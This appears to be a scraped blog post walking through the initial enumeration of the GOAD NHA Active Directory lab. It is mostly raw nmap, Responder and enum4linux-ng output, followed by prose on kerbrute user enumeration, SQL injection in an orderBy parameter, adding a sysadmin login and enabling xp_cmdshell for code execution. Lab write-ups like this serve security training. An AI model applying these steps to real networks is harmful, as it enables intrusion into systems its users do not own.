Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49687/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49703/tcp open msrpc Microsoft Windows RPC 49705/tcp open msrpc Microsoft Windows RPC 49771/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. | ms-sql-ntlm-info: | 192.168.56.22:49771: | Target_Name: ACADEMY | NetBIOS_Domain_Name: ACADEMY | NetBIOS_Computer_Name: SQL | DNS_Domain_Name: academy.ninja.lan | DNS_Computer_Name: sql.academy.ninja.lan | DNS_Tree_Name: academy.ninja.lan |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Issuer: commonName=SSL_Self_Signed_Fallback | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-06T16:47:04 | Not valid after: 2055-09-06T16:47:04 | MD5: 9f06:0296:450f:8427:f3a4:67bb:b200:07c4 |_SHA-1: 5093:43cb:c2fa:a3df:4f6e:a5e5:c08b:e336:9e2b:3877 | ms-sql-info: | 192.168.56.22:49771: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 49771 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-09-06T17:11:30 |_ start_date: N/A | nbstat: NetBIOS name: SQL, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:7c:38:c9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) | Names: | SQL\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | ACADEMY\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; |_ SQL\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; Nmap scan report for 192.168.56.23 Host is up (0.0064s latency). Not shown: 65529 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2025-09-06T17:12:06+00:00; +1s from scanner time. | rdp-ntlm-info: | Target_Name: ACADEMY | NetBIOS_Domain_Name: ACADEMY | NetBIOS_Computer_Name: SHARE | DNS_Domain_Name: academy.ninja.lan | DNS_Computer_Name: share.academy.ninja.lan | Product_Version: 10.0.17763 |_ System_Time: 2025-09-06T17:11:22+00:00 | ssl-cert: Subject: commonName=share.academy.ninja.lan | Issuer: commonName=share.academy.ninja.lan | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-01T13:05:14 | Not valid after: 2026-03-03T13:05:14 | MD5: c93e:9ae7:ae75:d73e:8380:0544:ee9f:e974 |_SHA-1: 31b8:262d:c57f:b50f:9136:4875:998a:258d:4a6d:2aad 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time. |_http-title: Not Found | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=VAGRANT | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant | Issuer: commonName=VAGRANT | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-31T11:50:41 | Not valid after: 2028-08-30T11:50:41 | MD5: 9ff1:46c7:e77e:b62b:324e:1d13:295c:3854 |_SHA-1: 75b7:f10a:8e39:9888:611c:077a:efe1:4c31:53d7:6173 |_http-server-header: Microsoft-HTTPAPI/2.0 49690/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2025-09-06T17:11:33 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required NSE: Script Post-scanning. Initiating NSE at 19:12 Completed NSE at 19:12, 0.00s elapsed Initiating NSE at 19:12 Completed NSE at 19:12, 0.00s elapsed Initiating NSE at 19:12 Completed NSE at 19:12, 0.00s elapsed Post-scan script results: | clock-skew: | 0s: | 192.168.56.20 | 192.168.56.21 | 192.168.56.10 | 192.168.56.22 |_ 192.168.56.23 Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 5 IP addresses (5 hosts up) scanned in 311.47 seconds Raw packets sent: 662919 (29.168MB) | Rcvd: 71100 (2.847MB) While the scan was running, I started Responder in the Ubuntu VM to see if any hashes were captured, but after a long time, nothing came up. I used a custom Docker image with Responder installed. The Dockerfile can be found here and at the end of this blog post as a GitHub Gist.\nsudo docker run -it -p 53:53/udp -p 137:137/udp -p 138:138/udp -p 5355:5355/udp -p 5553:5553/udp -p 21:21/tcp -p 25:25/tcp -p 80:80/tcp -p 110:110/tcp -p 139:139/tcp -p 389:389/tcp -p 445:445/tcp -p 587:587/tcp -p 1433:1433/tcp -p 3141:3141/tcp debian-responder [sudo] password for goad: __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| [+] You don\u0026#39;t have an IPv6 address assigned. [+] Poisoners: LLMNR [ON] NBT-NS [ON] MDNS [ON] DNS [ON] DHCP [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF] [+] Generic Options: Responder NIC [eth0] Responder IP [172.17.0.2] Responder IPv6 [::1] Challenge set [1122334455667788] Don\u0026#39;t Respond To Names [\u0026#39;ISATAP\u0026#39;, \u0026#39;ISATAP.LOCAL\u0026#39;] Don\u0026#39;t Respond To MDNS TLD [\u0026#39;_DOSVC\u0026#39;] TTL for poisoned response [default] [+] Current Session Variables: Responder Machine Name [WIN-F2K1JPYASKJ] Responder Domain Name [7YT0.LOCAL] Responder DCE-RPC Port [47577] [*] Version: Responder 3.1.7.0 [*] Author: Laurent Gaffie, \u0026lt;lgaffie@secorizon.com\u0026gt; [*] To sponsor Responder: https://paypal.me/PythonResponder [+] Listening for events... I also tried enum4linux-ng, since all hosts had SMB open, but I couldn’t retrieve anything either. I’ll have to wait until I have valid credentials.\n┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Scans/Service]-[2025-09-07 00:00:30] └─$ for h in $(cat hosts.txt); do crackmapexec smb $h | tee -a crackmapexec.txt; enum4linux-ng -A $h -t 10 | tee -a enum4linux.txt; done SMB 192.168.56.10 445 DC-VIL [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-VIL) (domain:ninja.hack) (signing:True) (SMBv1:False) ENUM4LINUX - next generation (v1.3.4) ========================== | Target Information | ========================== [*] Target ........... 192.168.56.10 [*] Username ......... \u0026#39;\u0026#39; [*] Random Username .. \u0026#39;keaqshau\u0026#39; [*] Password ......... \u0026#39;\u0026#39; [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on 192.168.56.10 | ====================================== [*] Checking LDAP [+] LDAP is accessible on 389/tcp [*] Checking LDAPS [+] LDAPS is accessible on 636/tcp [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [+] SMB over NetBIOS is accessible on 139/tcp ===================================================== | Domain Information via LDAP for 192.168.56.10 | ===================================================== [*] Trying LDAP [+] Appears to be root/parent DC [+] Long domain name is: ninja.hack ============================================================ | NetBIOS Names and Workgroup/Domain for 192.168.56.10 | ============================================================ [+] Got domain/workgroup name: NINJA [+] Full NetBIOS names information: - DC-VIL \u0026lt;00\u0026gt; - B \u0026lt;ACTIVE\u0026gt; Workstation Service - NINJA \u0026lt;00\u0026gt; - \u0026lt;GROUP\u0026gt; B \u0026lt;ACTIVE\u0026gt; Domain/Workgroup Name - NINJA \u0026lt;1c\u0026gt; - \u0026lt;GROUP\u0026gt; B \u0026lt;ACTIVE\u0026gt; Domain Controllers - NINJA \u0026lt;1b\u0026gt; - B \u0026lt;ACTIVE\u0026gt; Domain Master Browser - DC-VIL \u0026lt;20\u0026gt; - B \u0026lt;ACTIVE\u0026gt; File Server Service - MAC Address = 08-00-27-85-62-4B ========================================== | SMB Dialect Check on 192.168.56.10 | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: false SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: true ============================================================ | Domain Information via SMB session for 192.168.56.10 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: DC-VIL NetBIOS domain name: NINJA DNS domain: ninja.hack FQDN: dc-vil.ninja.hack Derived membership: domain member Derived domain: NINJA ========================================== | RPC Session Check on 192.168.56.10 | ========================================== [*] Check for null session [+] Server allows session using username \u0026#39;\u0026#39;, password \u0026#39;\u0026#39; [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE ==================================================== | Domain Information via RPC for 192.168.56.10 | ==================================================== [+] Domain: NINJA [+] Domain SID: S-1-5-21-3322833571-1733973806-1211678232 [+] Membership: domain member ================================================ | OS Information via RPC for 192.168.56.10 | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via \u0026#39;srvinfo\u0026#39; [-] Could not get OS info via \u0026#39;srvinfo\u0026#39;: STATUS_ACCESS_DENIED [+] After merging OS information we have the following result: OS: Windows 10, Windows Server 2019, Windows Server 2016 OS version: \u0026#39;10.0\u0026#39; OS release: \u0026#39;1809\u0026#39; OS build: \u0026#39;17763\u0026#39; Native OS: not supported Native LAN manager: not supported Platform id: null Server type: null Server type string: null ====================================== | Users via RPC on 192.168.56.10 | ====================================== [*] Enumerating users via \u0026#39;querydispinfo\u0026#39; [-] Could not find users via \u0026#39;querydispinfo\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating users via \u0026#39;enumdomusers\u0026#39; [-] Could not find users via \u0026#39;enumdomusers\u0026#39;: STATUS_ACCESS_DENIED ======================================= | Groups via RPC on 192.168.56.10 | ======================================= [*] Enumerating local groups [-] Could not get groups via \u0026#39;enumalsgroups domain\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating builtin groups [-] Could not get groups via \u0026#39;enumalsgroups builtin\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating domain groups [-] Could not get groups via \u0026#39;enumdomgroups\u0026#39;: STATUS_ACCESS_DENIED ======================================= | Shares via RPC on 192.168.56.10 | ======================================= [*] Enumerating shares [+] Found 0 share(s) for user \u0026#39;\u0026#39; with password \u0026#39;\u0026#39;, try a different user ========================================== | Policies via RPC for 192.168.56.10 | ========================================== [*] Trying port 445/tcp [-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED [*] Trying port 139/tcp [-] SMB connection error on port 139/tcp: session failed ========================================== | Printers via RPC for 192.168.56.10 | ========================================== [-] Could not get printer info via \u0026#39;enumprinters\u0026#39;: STATUS_ACCESS_DENIED Completed after 5.05 seconds SMB 192.168.56.20 445 DC-AC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-AC) (domain:academy.ninja.lan) (signing:True) (SMBv1:False) ENUM4LINUX - next generation (v1.3.4) ========================== | Target Information | ========================== [*] Target ........... 192.168.56.20 [*] Username ......... \u0026#39;\u0026#39; [*] Random Username .. \u0026#39;yudriztz\u0026#39; [*] Password ......... \u0026#39;\u0026#39; [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on 192.168.56.20 | ====================================== [*] Checking LDAP [+] LDAP is accessible on 389/tcp [*] Checking LDAPS [+] LDAPS is accessible on 636/tcp [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [+] SMB over NetBIOS is accessible on 139/tcp ===================================================== | Domain Information via LDAP for 192.168.56.20 | ===================================================== [*] Trying LDAP [+] Appears to be root/parent DC [+] Long domain name is: ninja.lan ============================================================ | NetBIOS Names and Workgroup/Domain for 192.168.56.20 | ============================================================ [+] Got domain/workgroup name: ACADEMY [+] Full NetBIOS names information: - DC-AC \u0026lt;00\u0026gt; - B \u0026lt;ACTIVE\u0026gt; Workstation Service - ACADEMY \u0026lt;00\u0026gt; - \u0026lt;GROUP\u0026gt; B \u0026lt;ACTIVE\u0026gt; Domain/Workgroup Name - ACADEMY \u0026lt;1c\u0026gt; - \u0026lt;GROUP\u0026gt; B \u0026lt;ACTIVE\u0026gt; Domain Controllers - ACADEMY \u0026lt;1b\u0026gt; - B \u0026lt;ACTIVE\u0026gt; Domain Master Browser - DC-AC \u0026lt;20\u0026gt; - B \u0026lt;ACTIVE\u0026gt; File Server Service - MAC Address = 08-00-27-7D-FA-AB ========================================== | SMB Dialect Check on 192.168.56.20 | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: false SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: true ============================================================ | Domain Information via SMB session for 192.168.56.20 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: DC-AC NetBIOS domain name: ACADEMY DNS domain: academy.ninja.lan FQDN: dc-ac.academy.ninja.lan Derived membership: domain member Derived domain: ACADEMY ========================================== | RPC Session Check on 192.168.56.20 | ========================================== [*] Check for null session [+] Server allows session using username \u0026#39;\u0026#39;, password \u0026#39;\u0026#39; [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE ==================================================== | Domain Information via RPC for 192.168.56.20 | ==================================================== [+] Domain: ACADEMY [+] Domain SID: S-1-5-21-1600381306-3374882393-3739005723 [+] Membership: domain member ================================================ | OS Information via RPC for 192.168.56.20 | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via \u0026#39;srvinfo\u0026#39; [-] Could not get OS info via \u0026#39;srvinfo\u0026#39;: STATUS_ACCESS_DENIED [+] After merging OS information we have the following result: OS: Windows 10, Windows Server 2019, Windows Server 2016 OS version: \u0026#39;10.0\u0026#39; OS release: \u0026#39;1809\u0026#39; OS build: \u0026#39;17763\u0026#39; Native OS: not supported Native LAN manager: not supported Platform id: null Server type: null Server type string: null ====================================== | Users via RPC on 192.168.56.20 | ====================================== [*] Enumerating users via \u0026#39;querydispinfo\u0026#39; [-] Could not find users via \u0026#39;querydispinfo\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating users via \u0026#39;enumdomusers\u0026#39; [-] Could not find users via \u0026#39;enumdomusers\u0026#39;: STATUS_ACCESS_DENIED ======================================= | Groups via RPC on 192.168.56.20 | ======================================= [*] Enumerating local groups [-] Could not get groups via \u0026#39;enumalsgroups domain\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating builtin groups [-] Could not get groups via \u0026#39;enumalsgroups builtin\u0026#39;: STATUS_ACCESS_DENIED [*] Enumerating domain groups [-] Could not get groups via \u0026#39;enumdomgroups\u0026#39;: STATUS_ACCESS_DENIED ======================================= | Shares via RPC on 192.168.56.20 | ======================================= [*] Enumerating shares [+] Found 0 share(s) for user \u0026#39;\u0026#39; with password \u0026#39;\u0026#39;, try a different user ========================================== | Policies via RPC for 192.168.56.20 | ========================================== [*] Trying port 445/tcp [-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED [*] Trying port 139/tcp [-] SMB connection error on port 139/tcp: session failed ========================================== | Printers via RPC for 192.168.56.20 | ========================================== [-] Could not get printer info via \u0026#39;enumprinters\u0026#39;: STATUS_ACCESS_DENIED Completed after 4.89 seconds SMB 192.168.56.21 445 WEB [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB) (domain:academy.ninja.lan) (signing:False) (SMBv1:False) ENUM4LINUX - next generation (v1.3.4) ========================== | Target Information | ========================== [*] Target ........... 192.168.56.21 [*] Username ......... \u0026#39;\u0026#39; [*] Random Username .. \u0026#39;sudcdgfb\u0026#39; [*] Password ......... \u0026#39;\u0026#39; [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on 192.168.56.21 | ====================================== [*] Checking LDAP [-] Could not connect to LDAP on 389/tcp: timed out [*] Checking LDAPS [-] Could not connect to LDAPS on 636/tcp: timed out [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [-] Could not connect to SMB over NetBIOS on 139/tcp: timed out ============================================================ | NetBIOS Names and Workgroup/Domain for 192.168.56.21 | ============================================================ [-] Could not get NetBIOS names information via \u0026#39;nmblookup\u0026#39;: timed out ========================================== | SMB Dialect Check on 192.168.56.21 | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: false SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false ============================================================ | Domain Information via SMB session for 192.168.56.21 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: WEB NetBIOS domain name: ACADEMY DNS domain: academy.ninja.lan FQDN: web.academy.ninja.lan Derived membership: domain member Derived domain: ACADEMY ========================================== | RPC Session Check on 192.168.56.21 | ========================================== [*] Check for null session [-] Could not establish null session: STATUS_ACCESS_DENIED [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE [-] Sessions failed, neither null nor user sessions were possible ================================================ | OS Information via RPC for 192.168.56.21 | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via \u0026#39;srvinfo\u0026#39; [-] Skipping \u0026#39;srvinfo\u0026#39; run, not possible with provided credentials [+] After merging OS information we have the following result: OS: Windows 10, Windows Server 2019, Windows Server 2016 OS version: \u0026#39;10.0\u0026#39; OS release: \u0026#39;1809\u0026#39; OS build: \u0026#39;17763\u0026#39; Native OS: not supported Native LAN manager: not supported Platform id: null Server type: null Server type string: null [!] Aborting remainder of tests since sessions failed, rerun with valid credentials Completed after 40.78 seconds SMB 192.168.56.22 445 SQL [*] Windows 10 / Server 2019 Build 17763 x64 (name:SQL) (domain:academy.ninja.lan) (signing:False) (SMBv1:False) ENUM4LINUX - next generation (v1.3.4) ========================== | Target Information | ========================== [*] Target ........... 192.168.56.22 [*] Username ......... \u0026#39;\u0026#39; [*] Random Username .. \u0026#39;dytjhogy\u0026#39; [*] Password ......... \u0026#39;\u0026#39; [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on 192.168.56.22 | ====================================== [*] Checking LDAP [-] Could not connect to LDAP on 389/tcp: connection refused [*] Checking LDAPS [-] Could not connect to LDAPS on 636/tcp: connection refused [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [+] SMB over NetBIOS is accessible on 139/tcp ============================================================ | NetBIOS Names and Workgroup/Domain for 192.168.56.22 | ============================================================ [+] Got domain/workgroup name: ACADEMY [+] Full NetBIOS names information: - SQL \u0026lt;00\u0026gt; - B \u0026lt;ACTIVE\u0026gt; Workstation Service - ACADEMY \u0026lt;00\u0026gt; - \u0026lt;GROUP\u0026gt; B \u0026lt;ACTIVE\u0026gt; Domain/Workgroup Name - SQL \u0026lt;20\u0026gt; - B \u0026lt;ACTIVE\u0026gt; File Server Service - MAC Address = 08-00-27-7C-38-C9 ========================================== | SMB Dialect Check on 192.168.56.22 | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: false SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false ============================================================ | Domain Information via SMB session for 192.168.56.22 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: SQL NetBIOS domain name: ACADEMY DNS domain: academy.ninja.lan FQDN: sql.academy.ninja.lan Derived membership: domain member Derived domain: ACADEMY ========================================== | RPC Session Check on 192.168.56.22 | ========================================== [*] Check for null session [-] Could not establish null session: STATUS_ACCESS_DENIED [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE [-] Sessions failed, neither null nor user sessions were possible ================================================ | OS Information via RPC for 192.168.56.22 | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via \u0026#39;srvinfo\u0026#39; [-] Skipping \u0026#39;srvinfo\u0026#39; run, not possible with provided credentials [+] After merging OS information we have the following result: OS: Windows 10, Windows Server 2019, Windows Server 2016 OS version: \u0026#39;10.0\u0026#39; OS release: \u0026#39;1809\u0026#39; OS build: \u0026#39;17763\u0026#39; Native OS: not supported Native LAN manager: not supported Platform id: null Server type: null Server type string: null [!] Aborting remainder of tests since sessions failed, rerun with valid credentials Completed after 1.25 seconds SMB 192.168.56.23 445 SHARE [*] Windows 10 / Server 2019 Build 17763 x64 (name:SHARE) (domain:academy.ninja.lan) (signing:False) (SMBv1:False) ENUM4LINUX - next generation (v1.3.4) ========================== | Target Information | ========================== [*] Target ........... 192.168.56.23 [*] Username ......... \u0026#39;\u0026#39; [*] Random Username .. \u0026#39;xcpqjzgg\u0026#39; [*] Password ......... \u0026#39;\u0026#39; [*] Timeout .......... 10 second(s) ====================================== | Listener Scan on 192.168.56.23 | ====================================== [*] Checking LDAP [-] Could not connect to LDAP on 389/tcp: timed out [*] Checking LDAPS [-] Could not connect to LDAPS on 636/tcp: timed out [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [-] Could not connect to SMB over NetBIOS on 139/tcp: timed out ============================================================ | NetBIOS Names and Workgroup/Domain for 192.168.56.23 | ============================================================ [-] Could not get NetBIOS names information via \u0026#39;nmblookup\u0026#39;: timed out ========================================== | SMB Dialect Check on 192.168.56.23 | ========================================== [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: false SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false ============================================================ | Domain Information via SMB session for 192.168.56.23 | ============================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: SHARE NetBIOS domain name: ACADEMY DNS domain: academy.ninja.lan FQDN: share.academy.ninja.lan Derived membership: domain member Derived domain: ACADEMY ========================================== | RPC Session Check on 192.168.56.23 | ========================================== [*] Check for null session [-] Could not establish null session: STATUS_ACCESS_DENIED [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE [-] Sessions failed, neither null nor user sessions were possible ================================================ | OS Information via RPC for 192.168.56.23 | ================================================ [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via \u0026#39;srvinfo\u0026#39; [-] Skipping \u0026#39;srvinfo\u0026#39; run, not possible with provided credentials [+] After merging OS information we have the following result: OS: Windows 10, Windows Server 2019, Windows Server 2016 OS version: \u0026#39;10.0\u0026#39; OS release: \u0026#39;1809\u0026#39; OS build: \u0026#39;17763\u0026#39; Native OS: not supported Native LAN manager: not supported Platform id: null Server type: null Server type string: null [!] Aborting remainder of tests since sessions failed, rerun with valid credentials Completed after 41.43 seconds I added the DCs as nameservers in my Kali VM to be able to use the DNS service.\n┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Scans/Service]-[2025-09-07 00:02:34] └─$ cat /etc/resolv.conf nameserver 192.168.56.10 nameserver 192.168.56.20 ┌──(kali㉿kali)-[~/…/GOAD NHA/Evidence/Scans/Service]-[2025-09-07 00:07:22] └─$ nslookup sql.academy.ninja.lan Server:\t192.168.56.10 Address:\t192.168.56.10#53 Non-authoritative answer: Name:\tsql.academy.ninja.lan Address: 192.168.56.22 I tried a DNS Zone Transfer attack, but I wasn’t successful either. After that, I moved on to the web services on DC-VIL (192.168.56.10) and WEB (192.168.56.21).\nWeb Services DC-VIL The website only showed the default IIS page. I did some fuzzing with a small common wordlist to check if I could find anything interesting.\nNothing interesting came up for now. I could use larger common wordlists or tech-specific ones for IIS, or check for vulnerabilities using nuclei, but I’ll leave that for later. It could also be using virtual hosting. I tried the machine’s domain name, but got nothing.\nWEB The Contact endpoint listed 4 emails that could be potential usernames. After looking at the topology, I decided to use kerbrute to test for valid usernames using both name.surname and name formats. Kerbrute I used kerbrute userenum to test if the usernames were valid, and all of them were.\nI then ran kerbrute with the statistically-likely-usernames wordlist for both name and name.surname formats and got some extra results:\nNone of the users found had Kerberos pre-authentication disabled, so I couldn’t retrieve any password hashes with an AS-REP Roasting attack. (kerbrute userenum automatically attempts AS-REP Roasting.)\nSQL Injection The Students endpoint had a list of students you could search for. It looked like it was interacting with a database, probably the MSSQL database on the SQL host.\nI used fuff to fuzz for time-based SQL injection in the SearchString and orderBy GET parameters, and successfully found a SQL injection in the orderBy parameter.\nAfter this, I confirmed the vulnerability with Burp’s Repeater and concluded there was a Boolean-based blind SQLi and a Stacked Query SQLi.\nBoolean-based SQLi: Stacked Query SQLi:\nI started gathering information about the database user using boolean-based queries combined with time delays, and discovered that the current user is sa, who is a Database Administrator.\n(ASCII 115 =s and 97 =a)\nSince I had the ability to use stacked queries as a Database Administrator, I created a new database user called new_dba and gave it Database Administrator privileges.\nCreate new user: I then used Impacket’s mssqlclient to interact with the MSSQL database using the new_dba user. Add new user to sysadmin: Using mssqlclient, I proceeded to activate xp_cmdshell to get RCE on the SQL host. (mssqlclient has a built-in command to enable xp_cmdshell, but I did it manually.)\nCheck if xp_cmdshell is enabled: run_value is 0, meaning it wasn\u0026rsquo;t enabled.\nEnabling xp_cmdshell: After enabling it, I achieved RCE on SQL.\ndebian responder Dockerfile ","permalink":"https://emc2hf.github.io/blog/2025/09/06/goad-game-of-active-directory-nha-%232-initial-enumeration-and-first-code-execution/","summary":"\u003ch1 id=\"initial-enumeration\"\u003eInitial enumeration\u003c/h1\u003e\n\u003cp\u003eThe first thing I did after installation and connectivity were set up was run an Nmap scan with the \u003ccode\u003e--top-ports 100\u003c/code\u003e option (default) to quickly identify open ports and up hosts, since some Windows hosts do not respond to ICMP.\u003c/p\u003e\n\u003cp\u003eAfter that, I ran a full Nmap service scan on the discovered hosts with the common scripts and service version options.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/…/GOAD NHA/Evidence/Scans/Service\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e2025-09-06 23:31:40\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ cat hosts.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e192.168.56.10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e192.168.56.20\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e192.168.56.21\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e192.168.56.22\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e192.168.56.23\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌──\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ekali㉿kali\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e~/…/GOAD NHA/Evidence/Scans/Service\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e2025-09-06 23:31:40\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─$ sudo nmap -sS --open -iL hosts.txt -p- -n -Pn -sCV -v -T5 -oN ALL_ports.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan 